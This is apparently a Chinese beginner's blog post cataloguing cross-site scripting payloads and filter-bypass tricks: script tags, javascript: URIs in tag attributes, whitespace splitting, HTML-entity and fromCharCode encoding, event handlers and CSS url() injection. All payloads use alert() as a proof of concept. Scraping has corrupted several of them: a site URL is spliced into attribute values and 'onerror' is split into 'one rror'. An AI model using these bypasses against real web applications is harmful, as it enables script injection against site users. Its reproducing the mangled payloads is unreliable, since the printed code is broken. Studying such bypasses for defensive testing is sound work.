首页 > 代码库 > XSS构造解析

XSS构造解析

1、绕过过滤

  a、利用<>标记注入HTML/JavaScript

  <script>alert(‘xss‘);</script>:所以过滤的就是<>或<script>

 

  b、利用html标签属性执行xss:这是因为html标记的属性都支持javascript:[code];

  <table background="javascript:alert(/xss/)"></table>   我测试没通过,需要低版本的浏览器来进行测试;

  <img src="javascript:alert(‘xss‘);">

  当然不是所有的标记属性都可以产生xss;只有引用文件的属性才能触发跨站脚本;如:

  href=http://www.mamicode.com/  lowsrc=  bgsound=  background=  value=  action=  dynsrc=

  

  c、空格回车tab

  <img src="http://www.mamicode.com/java script:alert(‘xss‘);">   注:中间是tab做成的;

  <script>
  var a
  =‘hello‘
  alert(a);
  </script>   注:这里不用ie低版本了;更多的可以进行变形

 

  d、对标签属性值转码

  <img src="http://www.mamicode.com/javascript:alert(‘xss‘);">   HTML Characters编码;

 

  e、产生自己的事件

  <input type="button" value="http://www.mamicode.com/click" onclick="alert(‘xss‘)" />

  <img src="http://www.mamicode.com/#" one rror=alert(‘xss‘)>

  其余的事件:

  onResume  onReverse  onRowDelete等等

 

  f、利用css跨站

  <div style="background-image:url(javascript:alert(‘xss‘))">

 

  g、扰乱过滤规则

  大小写转换、大小写混杂、不用双引号、不使用引号

  

2、字符编码

  String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41)==alert(‘xss‘)

  10进制、16进制、还有ascii等等;

 

 

 

我还是新手!

 

XSS构造解析